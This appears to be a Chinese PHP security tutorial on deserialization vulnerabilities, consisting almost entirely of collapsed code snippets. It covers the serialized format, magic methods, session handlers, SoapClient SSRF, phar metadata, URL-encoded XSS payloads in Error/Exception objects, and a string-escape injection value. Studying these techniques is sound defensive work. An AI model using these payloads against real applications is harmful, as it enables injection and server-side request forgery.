干货 | PHP反序列化原理及不同类别反序列化漏洞总结

<?phpclass test{public $suifeng="shuai";}$a=new test();          //实例化一个对象$b=serialize($a);       //进行序列化echo $b;                //输出序列化后的字符串echo '<br>';echo "我是分割线";      $c=unserialize($b);     //把序列化后的字符串反序列化echo '<br>';echo $c->suifeng;       ?>

O:4:"test":1:{s:7:"suifeng";s:5:"shuai";}

O->object4->object的长度test->object的名称1->object中变量个数s->变量名数据类型7->变量名长度suifeng->变量名S->变量值数据类型5->变量值长度shuai->变量的值

a - arrayb - booleand - doublei - integero - common objectr - references - stringC - custom objectO - classN - nullR - pointer referenceU - unicode string

__construct()  //一个对象创建时被调用__destruct()  //一个对象销毁前被调用__call()  //调用类不存在的方法时执行__callStatic()  //调用类不存在的静态方式方法时执行。__wakeup()  //将在反序列化之后立即被调用__sleep()  //在对象被序列化前被调用__toString()  //当一个对象被当做字符串使用时被调用__get()  //用于从不可访问的属性读取数据__set()  //用于将数据写入不可访问属性              __invoke()  //调用函数的方式调用一个对象时的回应方法__isset()  //在不可访的属性上调用isset()或empty()触发__unset()  //在不可访的属性上使用unset()时触发

public变量直接变量名反序列化出来protected变量\x00 + * + \x00 + 变量名可以用S:5:"\00*\00op"来代替s:5:"?*?op"private变量\x00 + 类名 + \x00 + 变量名

<?phpclass ABC{    function __construct(){        echo '调用了构造函数<br>';    }    function __destruct(){        echo '调用了析构函数<br>';    }    function __wakeup(){        echo '调用了苏醒函数<br>';    }}echo '创建对象a<br>';$a=new ABC;echo '序列化<br>';$a_ser=serialize($a);echo '反序列化<br>';$a_unser=unserialize($a_ser);echo '对象快死了！';?>

session.save_path=""   --设置session的存储路径,默认在/tmpsession.auto_start   --指定会话模块是否在请求开始时启动一个会话,默认为0不启动session.serialize_handler   --定义用来序列化/反序列化的处理器名字。默认使用phpsession.save_handler="" --设定用户自定义存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)，比如files就是session默认以文件的方式进行存

<?php ini_set('session.serialize_handler', 'php_serialize'); session_start();

<?php$a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a();

<?php$a = new Error("<script>alert(1)</script>");$b = serialize($a);echo urlencode($b);//Test$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');$c = unserialize($t);echo $c;

<?php$a = new Exception("<script>alert(1)</script>");$b = serialize($a);echo urlencode($b);//Test$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D');echo unserialize($c);

stub：它是phar的文件标识，格式为xxx<?php xxx; __HALT_COMPILER();?>;manifest：也就是meta-data，压缩文件的属性等信息，以序列化存储contents：压缩文件的内容signature：签名，放在文件末尾

<?php    class TestObject {    }@unlink("phar.phar");    $phar = new Phar("phar.phar"); //后缀名必须为phar    $phar->startBuffering();    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub    $o = new TestObject();    $phar->setMetadata($o); //将自定义的meta-data存入manifest    $phar->addFromString("test.txt", "test"); //添加要压缩的文件    //签名自动计算    $phar->stopBuffering();?>

<?phpclass test{public $suifeng="shuai";}$a=new test();      $b=serialize($a);echo $b;                $c=unserialize($b);echo '<br>';echo $c->suifeng;?>

<?phpfunction filter($string){    return str_replace('test','test1',$string);}$username = "admin";$password = "1234";$user = array($username, $password);var_dump(serialize($user));echo '\n';$r = filter(serialize($user));var_dump($r);echo '\n';var_dump(unserialize($r));

$username=admintest";i:1;s:6:"123456";}

a:2:{i:0;s:29:"admintest1";i:1;s:6:"123456";}

admintesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest